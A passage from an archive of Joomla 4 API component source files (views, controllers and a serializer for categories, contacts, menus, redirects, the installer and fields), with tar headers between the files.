* @package Joomla.API
* @subpackage com_categories
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Categories\Api\View\Categories;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
/**
* The categories view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'title',
'alias',
'note',
'published',
'access',
'checked_out',
'checked_out_time',
'created_user_id',
'parent_id',
'level',
'extension',
'lft',
'rgt',
'language',
'language_title',
'language_image',
'editor',
'access_level',
'author_name',
'count_trashed',
'count_unpublished',
'count_published',
'count_archived',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'title',
'alias',
'note',
'published',
'access',
'checked_out',
'checked_out_time',
'created_user_id',
'parent_id',
'level',
'lft',
'rgt',
'language',
'language_title',
'language_image',
'editor',
'access_level',
'author_name',
'count_trashed',
'count_unpublished',
'count_published',
'count_archived',
];
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
foreach (FieldsHelper::getFields('com_content.categories') as $field)
{
$this->fieldsToRenderList[] = $field->name;
}
return parent::displayList();
}
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
foreach (FieldsHelper::getFields('com_content.categories') as $field)
{
$this->fieldsToRenderItem[] = $field->name;
}
if ($item === null)
{
/** @var \Joomla\CMS\MVC\Model\AdminModel $model */
$model = $this->getModel();
$item = $this->prepareItem($model->getItem());
}
if ($item->id === null)
{
throw new RouteNotFoundException('Item does not exist');
}
if ($item->extension != $this->getModel()->getState('filter.extension'))
{
throw new RouteNotFoundException('Item does not exist');
}
return parent::displayItem($item);
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
foreach (FieldsHelper::getFields('com_content.categories', $item, true) as $field)
{
$item->{$field->name} = isset($field->apivalue) ? $field->apivalue : $field->rawvalue;
}
return parent::prepareItem($item);
}
}
components/com_contact/src/View/Contacts/JsonapiView.php 0000604 00000010152 15074673664 0017465 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_contact
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Contact\Api\View\Contacts;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\Component\Contact\Api\Serializer\ContactSerializer;
use Joomla\Component\Content\Api\Helper\ContentHelper;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
/**
* The contacts view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'alias',
'name',
'category',
'created',
'created_by',
'created_by_alias',
'modified',
'modified_by',
'image',
'tags',
'featured',
'publish_up',
'publish_down',
'version',
'hits',
'metakey',
'metadesc',
'metadata',
'con_position',
'address',
'suburb',
'state',
'country',
'postcode',
'telephone',
'fax',
'misc',
'email_to',
'default_con',
'user_id',
'access',
'mobile',
'webpage',
'sortname1',
'sortname2',
'sortname3',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'alias',
'name',
'category',
'created',
'created_by',
'created_by_alias',
'modified',
'modified_by',
'image',
'tags',
'user_id',
];
/**
* The relationships the item has
*
* @var array
* @since 4.0.0
*/
protected $relationship = [
'category',
'created_by',
'modified_by',
'user_id',
'tags',
];
/**
* Constructor.
*
* @param array $config A named configuration array for object construction.
* contentType: the name (optional) of the content type to use for the serialization
*
* @since 4.0.0
*/
public function __construct($config = [])
{
if (array_key_exists('contentType', $config))
{
$this->serializer = new ContactSerializer($config['contentType']);
}
parent::__construct($config);
}
/**
* Execute and display a template script.
*
* @param array|null $items Array of items
*
* @return string
*
* @since 4.0.0
*/
public function displayList(array $items = null)
{
foreach (FieldsHelper::getFields('com_contact.contact') as $field)
{
$this->fieldsToRenderList[] = $field->name;
}
return parent::displayList();
}
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
foreach (FieldsHelper::getFields('com_contact.contact') as $field)
{
$this->fieldsToRenderItem[] = $field->name;
}
if (Multilanguage::isEnabled())
{
$this->fieldsToRenderItem[] = 'languageAssociations';
$this->relationship[] = 'languageAssociations';
}
return parent::displayItem();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
foreach (FieldsHelper::getFields('com_contact.contact', $item, true) as $field)
{
$item->{$field->name} = isset($field->apivalue) ? $field->apivalue : $field->rawvalue;
}
if (Multilanguage::isEnabled() && !empty($item->associations))
{
$associations = [];
foreach ($item->associations as $language => $association)
{
$itemId = explode(':', $association)[0];
$associations[] = (object) [
'id' => $itemId,
'language' => $language,
];
}
$item->associations = $associations;
}
if (!empty($item->tags->tags))
{
$tagsIds = explode(',', $item->tags->tags);
$tagsNames = $item->tagsHelper->getTagNames($tagsIds);
$item->tags = array_combine($tagsIds, $tagsNames);
}
else
{
$item->tags = [];
}
if (isset($item->image))
{
$item->image = ContentHelper::resolve($item->image);
}
return parent::prepareItem($item);
}
}
components/com_contact/src/Serializer/ContactSerializer.php 0000604 00000005764 15074673664 0020312 0 ustar 00 <?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Contact\Api\Serializer;
\defined('_JEXEC') or die;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Tag\TagApiSerializerTrait;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;
/**
* Temporary serializer
*
* @since 4.0.0
*/
class ContactSerializer extends JoomlaSerializer
{
use TagApiSerializerTrait;
/**
* Build content relationships by associations
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function languageAssociations($model)
{
$resources = [];
// TODO: This can't be hardcoded in the future?
$serializer = new JoomlaSerializer($this->type);
foreach ($model->associations as $association)
{
$resources[] = (new Resource($association, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/contact/' . $association->id));
}
$collection = new Collection($resources, $serializer);
return new Relationship($collection);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function category($model)
{
$serializer = new JoomlaSerializer('categories');
$resource = (new Resource($model->catid, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid));
return new Relationship($resource);
}
/**
* Build category relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function createdBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->created_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));
return new Relationship($resource);
}
/**
* Build editor relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function modifiedBy($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->modified_by, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));
return new Relationship($resource);
}
/**
* Build contact user relationship
*
* @param \stdClass $model Item model
*
* @return Relationship
*
* @since 4.0.0
*/
public function userId($model)
{
$serializer = new JoomlaSerializer('users');
$resource = (new Resource($model->user_id, $serializer))
->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->user_id));
return new Relationship($resource);
}
}
components/com_contact/src/Controller/ContactController.php 0000604 00000016004 15074673664 0020323 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_contact
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Contact\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Mail\Exception\MailDisabledException;
use Joomla\CMS\Mail\MailTemplate;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception\SendEmail;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\CMS\String\PunycodeHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\User\User;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Joomla\Registry\Registry;
use Joomla\String\Inflector;
use PHPMailer\PHPMailer\Exception as phpMailerException;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The contact controller
*
* @since 4.0.0
*/
class ContactController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'contacts';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'contacts';
/**
* Method to allow extended classes to manipulate the data to be saved for an extension.
*
* @param array $data An array of input data.
*
* @return array
*
* @since 4.0.0
*/
protected function preprocessSaveData(array $data): array
{
foreach (FieldsHelper::getFields('com_contact.contact') as $field)
{
if (isset($data[$field->name]))
{
!isset($data['com_fields']) && $data['com_fields'] = [];
$data['com_fields'][$field->name] = $data[$field->name];
unset($data[$field->name]);
}
}
return $data;
}
/**
* Submit contact form
*
* @param integer $id Leave empty if you want to retrieve data from the request
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function submitForm($id = null)
{
if ($id === null)
{
$id = $this->input->post->get('id', 0, 'int');
}
$modelName = Inflector::singularize($this->contentType);
/** @var \Joomla\Component\Contact\Site\Model\ContactModel $model */
$model = $this->getModel($modelName, 'Site');
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$model->setState('filter.published', 1);
$data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
$contact = $model->getItem($id);
if ($contact->id === null)
{
throw new RouteNotFoundException('Item does not exist');
}
$contactParams = new Registry($contact->params);
if (!$contactParams->get('show_email_form'))
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_DISPLAY_EMAIL_FORM'));
}
// Contact plugins
PluginHelper::importPlugin('contact');
Form::addFormPath(JPATH_COMPONENT_SITE . '/forms');
// Validate the posted data.
$form = $model->getForm();
if (!$form)
{
throw new \RuntimeException($model->getError(), 500);
}
if (!$model->validate($form, $data))
{
$errors = $model->getErrors();
$messages = [];
for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
{
if ($errors[$i] instanceof \Exception)
{
$messages[] = "{$errors[$i]->getMessage()}";
}
else
{
$messages[] = "{$errors[$i]}";
}
}
throw new InvalidParameterException(implode("\n", $messages));
}
// Validation succeeded, continue with custom handlers
$results = $this->app->triggerEvent('onValidateContact', [&$contact, &$data]);
foreach ($results as $result)
{
if ($result instanceof \Exception)
{
throw new InvalidParameterException($result->getMessage());
}
}
// Passed Validation: Process the contact plugins to integrate with other applications
$this->app->triggerEvent('onSubmitContact', [&$contact, &$data]);
// Send the email
$sent = false;
$params = ComponentHelper::getParams('com_contact');
if (!$params->get('custom_reply'))
{
$sent = $this->_sendEmail($data, $contact, $params->get('show_email_copy', 0));
}
if (!$sent)
{
throw new SendEmail('Error sending message');
}
return $this;
}
/**
* Method to get a model object, loading it if required.
*
* @param array $data The data to send in the email.
* @param \stdClass $contact The user information to send the email to
* @param boolean $emailCopyToSender True to send a copy of the email to the user.
*
* @return boolean True on success sending the email, false on failure.
*
* @since 1.6.4
*/
private function _sendEmail($data, $contact, $emailCopyToSender)
{
$app = $this->app;
Factory::getLanguage()->load('com_contact', JPATH_SITE, $app->getLanguage()->getTag(), true);
if ($contact->email_to == '' && $contact->user_id != 0)
{
$contact_user = User::getInstance($contact->user_id);
$contact->email_to = $contact_user->get('email');
}
$templateData = [
'sitename' => $app->get('sitename'),
'name' => $data['contact_name'],
'contactname' => $contact->name,
'email' => PunycodeHelper::emailToPunycode($data['contact_email']),
'subject' => $data['contact_subject'],
'body' => stripslashes($data['contact_message']),
'url' => Uri::base(),
'customfields' => ''
];
// Load the custom fields
if (!empty($data['com_fields']) && $fields = FieldsHelper::getFields('com_contact.mail', $contact, true, $data['com_fields']))
{
$output = FieldsHelper::render(
'com_contact.mail',
'fields.render',
array(
'context' => 'com_contact.mail',
'item' => $contact,
'fields' => $fields,
)
);
if ($output)
{
$templateData['customfields'] = $output;
}
}
try
{
$mailer = new MailTemplate('com_contact.mail', $app->getLanguage()->getTag());
$mailer->addRecipient($contact->email_to);
$mailer->setReplyTo($templateData['email'], $templateData['name']);
$mailer->addTemplateData($templateData);
$sent = $mailer->send();
// If we are supposed to copy the sender, do so.
if ($emailCopyToSender == true && !empty($data['contact_email_copy']))
{
$mailer = new MailTemplate('com_contact.mail.copy', $app->getLanguage()->getTag());
$mailer->addRecipient($templateData['email']);
$mailer->setReplyTo($templateData['email'], $templateData['name']);
$mailer->addTemplateData($templateData);
$sent = $mailer->send();
}
}
catch (MailDisabledException | phpMailerException $exception)
{
try
{
Log::add(Text::_($exception->getMessage()), Log::WARNING, 'jerror');
$sent = false;
}
catch (\RuntimeException $exception)
{
Factory::getApplication()->enqueueMessage(Text::_($exception->errorMessage()), 'warning');
$sent = false;
}
}
return $sent;
}
}
components/com_menus/src/View/Menus/JsonapiView.php 0000604 00000001633 15074673664 0016476 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_menus
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Menus\Api\View\Menus;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The menus view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'menutype',
'title',
'description',
'client_id',
'count_published',
'count_unpublished',
'count_trashed',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'asset_id',
'menutype',
'title',
'description',
'client_id',
];
}
components/com_menus/src/View/Items/JsonapiView.php 0000604 00000011014 15074673664 0016462 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_menus
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Menus\Api\View\Items;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
/**
* The items view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'parent_id',
'level',
'lft',
'rgt',
'alias',
'typeAlias',
'menutype',
'title',
'note',
'path',
'link',
'type',
'published',
'component_id',
'checked_out',
'checked_out_time',
'browserNav',
'access',
'img',
'template_style_id',
'params',
'home',
'language',
'client_id',
'publish_up',
'publish_down',
'request',
'associations',
'menuordering',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'menutype',
'title',
'alias',
'note',
'path',
'link',
'type',
'parent_id',
'level',
'a.published',
'component_id',
'checked_out',
'checked_out_time',
'browserNav',
'access',
'img',
'template_style_id',
'params',
'lft',
'rgt',
'home',
'language',
'client_id',
'enabled',
'publish_up',
'publish_down',
'published',
'language_title',
'language_image',
'language_sef',
'editor',
'componentname',
'access_level',
'menutype_id',
'menutype_title',
'association',
'name',
];
/**
* Execute and display a list items types.
*
* @return string
*
* @since 4.0.0
*/
public function displayListTypes()
{
/** @var \Joomla\Component\Menus\Administrator\Model\MenutypesModel $model */
$model = $this->getModel();
$items = [];
foreach ($model->getTypeOptions() as $type => $data)
{
$groupItems = [];
foreach ($data as $item)
{
$item->id = implode('/', $item->request);
$item->title = Text::_($item->title);
$item->description = Text::_($item->description);
$item->group = Text::_($type);
$groupItems[] = $item;
}
$items = array_merge($items, $groupItems);
}
// Set up links for pagination
$currentUrl = Uri::getInstance();
$currentPageDefaultInformation = ['offset' => 0, 'limit' => 20];
$currentPageQuery = $currentUrl->getVar('page', $currentPageDefaultInformation);
$offset = $currentPageQuery['offset'];
$limit = $currentPageQuery['limit'];
$totalItemsCount = count($items);
$totalPagesAvailable = ceil($totalItemsCount / $limit);
$items = array_splice($items, $offset, $limit);
$firstPage = clone $currentUrl;
$firstPageQuery = $currentPageQuery;
$firstPageQuery['offset'] = 0;
$firstPage->setVar('page', $firstPageQuery);
$nextPage = clone $currentUrl;
$nextPageQuery = $currentPageQuery;
$nextOffset = $currentPageQuery['offset'] + $limit;
$nextPageQuery['offset'] = ($nextOffset > ($totalPagesAvailable * $limit)) ? $totalPagesAvailable - $limit : $nextOffset;
$nextPage->setVar('page', $nextPageQuery);
$previousPage = clone $currentUrl;
$previousPageQuery = $currentPageQuery;
$previousOffset = $currentPageQuery['offset'] - $limit;
$previousPageQuery['offset'] = $previousOffset >= 0 ? $previousOffset : 0;
$previousPage->setVar('page', $previousPageQuery);
$lastPage = clone $currentUrl;
$lastPageQuery = $currentPageQuery;
$lastPageQuery['offset'] = $totalPagesAvailable - $limit;
$lastPage->setVar('page', $lastPageQuery);
$collection = (new Collection($items, new JoomlaSerializer('menutypes')));
// Set the data into the document and render it
$this->document->addMeta('total-pages', $totalPagesAvailable)
->setData($collection)
->addLink('self', (string) $currentUrl)
->addLink('first', (string) $firstPage)
->addLink('next', (string) $nextPage)
->addLink('previous', (string) $previousPage)
->addLink('last', (string) $lastPage);
return $this->document->render();
}
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
if (is_string($item->params))
{
$item->params = json_decode($item->params);
}
return parent::prepareItem($item);
}
}
components/com_menus/src/Controller/ItemsController.php 0000604 00000010272 15074673664 0017506 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_menus
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Menus\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Component\Menus\Api\View\Items\JsonapiView;
/**
* The items controller
*
* @since 4.0.0
*/
class ItemsController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'items';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'items';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayList();
}
/**
* Method to add a new record.
*
* @return void
*
* @since 4.0.0
* @throws NotAllowed
* @throws \RuntimeException
*/
public function add()
{
$data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
if (isset($data['menutype']))
{
$this->input->set('menutype', $data['menutype']);
$this->input->set('com_menus.items.menutype', $data['menutype']);
}
isset($data['type']) && $this->input->set('type', $data['type']);
isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']);
isset($data['link']) && $this->input->set('link', $data['link']);
$this->input->set('id', '0');
parent::add();
}
/**
* Method to edit an existing record.
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function edit()
{
$data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');
if (isset($data['menutype']))
{
$this->input->set('menutype', $data['menutype']);
$this->input->set('com_menus.items.menutype', $data['menutype']);
}
isset($data['type']) && $this->input->set('type', $data['type']);
isset($data['parent_id']) && $this->input->set('parent_id', $data['parent_id']);
isset($data['link']) && $this->input->set('link', $data['link']);
return parent::edit();
}
/**
* Return menu items types
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function getTypes()
{
$viewType = $this->app->getDocument()->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
try
{
/** @var JsonapiView $view */
$view = $this->getView(
$viewName,
$viewType,
'',
['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
);
}
catch (\Exception $e)
{
throw new \RuntimeException($e->getMessage());
}
/** @var ListModel $model */
$model = $this->getModel('menutypes', '', ['ignore_request' => true]);
if (!$model)
{
throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
}
$model->setState('client_id', $this->getClientIdFromInput());
$view->setModel($model, true);
$view->document = $this->app->getDocument();
$view->displayListTypes();
return $this;
}
/**
* Get client id from input
*
* @return string
*
* @since 4.0.0
*/
private function getClientIdFromInput()
{
return $this->input->exists('client_id') ?
$this->input->get('client_id') : $this->input->post->get('client_id');
}
}
components/com_menus/src/Controller/MenusController.php 0000604 00000003172 15074673664 0017515 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_menus
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Menus\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The menus controller
*
* @since 4.0.0
*/
class MenusController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'menus';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'menus';
/**
* Basic display of an item view
*
* @param integer $id The primary key to display. Leave empty if you want to retrieve data from the request
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayItem($id = null)
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayItem($id);
}
/**
* Basic display of a list view
*
* @return static A \JControllerLegacy object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$this->modelState->set('filter.client_id', $this->getClientIdFromInput());
return parent::displayList();
}
/**
* Get client id from input
*
* @return string
*
* @since 4.0.0
*/
private function getClientIdFromInput()
{
return $this->input->exists('client_id') ?
$this->input->get('client_id') : $this->input->post->get('client_id');
}
}
components/com_redirect/src/Controller/RedirectController.php 0000604 00000001314 15074673664 0020635 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_redirect
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Redirect\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\Controller\ApiController;
/**
* The redirect controller
*
* @since 4.0.0
*/
class RedirectController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'links';
/**
* The default view for the display method.
*
* @var string
* @since 3.0
*/
protected $default_view = 'redirect';
}
components/com_redirect/src/View/Redirect/JsonapiView.php 0000604 00000001743 15074673664 0017624 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_redirect
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Redirect\Api\View\Redirect;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The redirect view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'id',
'old_url',
'new_url',
'referer',
'comment',
'hits',
'published',
'created_date',
'modified_date',
'header',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'old_url',
'new_url',
'referer',
'comment',
'hits',
'published',
'created_date',
'modified_date',
'header',
];
}
components/com_installer/src/View/Manage/JsonapiView.php 0000604 00000001645 15074673664 0017450 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_installer
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Installer\Api\View\Manage;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
/**
* The manage view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'name',
'type',
'version',
'folder',
'status',
'client_id',
];
/**
* Prepare item before render.
*
* @param object $item The model item
*
* @return object
*
* @since 4.0.0
*/
protected function prepareItem($item)
{
$item->id = $item->extension_id;
unset($item->extension_id);
return $item;
}
}
components/com_installer/src/Controller/ManageController.php 0000604 00000003277 15074673664 0020472 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_installer
*
* @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Installer\Api\Controller;
\defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Tobscure\JsonApi\Exception\InvalidParameterException;
/**
* The manage controller
*
* @since 4.0.0
*/
class ManageController extends ApiController
{
/**
* The content type of the item.
*
* @var string
* @since 4.0.0
*/
protected $contentType = 'manage';
/**
* The default view for the display method.
*
* @var string
* @since 4.0.0
*/
protected $default_view = 'manage';
/**
* Extension list view amended to add filtering of data
*
* @return static A BaseController object to support chaining.
*
* @since 4.0.0
*/
public function displayList()
{
$requestBool = $this->input->get('core', $this->input->get->get('core'));
if (!is_null($requestBool) && $requestBool !== 'true' && $requestBool !== 'false')
{
// Send the error response
$error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'core');
throw new InvalidParameterException($error, 400, null, 'core');
}
if (!is_null($requestBool))
{
$this->modelState->set('filter.core', ($requestBool === 'true') ? '1' : '0', 'STRING');
}
$this->modelState->set('filter.status', $this->input->get('status', $this->input->get->get('status')), 'INT');
$this->modelState->set('filter.type', $this->input->get('type', $this->input->get->get('type')), 'STRING');
return parent::displayList();
}
}
components/com_fields/src/View/Fields/JsonapiView.php 0000604 00000004272 15074673664 0016736 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_fields
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\Component\Fields\Api\View\Fields;
\defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
/**
* The fields view
*
* @since 4.0.0
*/
class JsonapiView extends BaseApiView
{
/**
* The fields to render item in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderItem = [
'typeAlias',
'id',
'asset_id',
'context',
'group_id',
'title',
'name',
'label',
'default_value',
'type',
'note',
'description',
'state',
'required',
'checked_out',
'checked_out_time',
'ordering',
'params',
'fieldparams',
'language',
'created_time',
'created_user_id',
'modified_time',
'modified_by',
'access',
'assigned_cat_ids',
];
/**
* The fields to render items in the documents
*
* @var array
* @since 4.0.0
*/
protected $fieldsToRenderList = [
'id',
'title',
'name',
'checked_out',
'checked_out_time',
'note',
'state',
'access',
'created_time',
'created_user_id',
'ordering',
'language',
'fieldparams',
'params',
'type',
'default_value',
'context',
'group_id',
'label',
'description',
'required',
'language_title',
'language_image',
'editor',
'access_level',
'author_name',
'group_title',
'group_access',
'group_state',
'group_note',
];
/**
* Execute and display a template script.
*
* @param object $item Item
*
* @return string
*
* @since 4.0.0
*/
public function displayItem($item = null)
{
if ($item === null)
{
/** @var \Joomla\CMS\MVC\Model\AdminModel $model */
$model = $this->getModel();
$item = $this->prepareItem($model->getItem());
}
if ($item->id === null)
{
throw new RouteNotFoundException('Item does not exist');
}
if ($item->context != $this->getModel()->getState('filter.context'))
{
throw new RouteNotFoundException('Item does not exist');
}
return parent::displayItem($item);
}
}
components/com_fields/src/View/Groups/JsonapiView.php 0000604 00000004100 15074673664 0016775 0 ustar 00 <?php
/**
* @package Joomla.API
* @subpackage com_fields
*
* @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
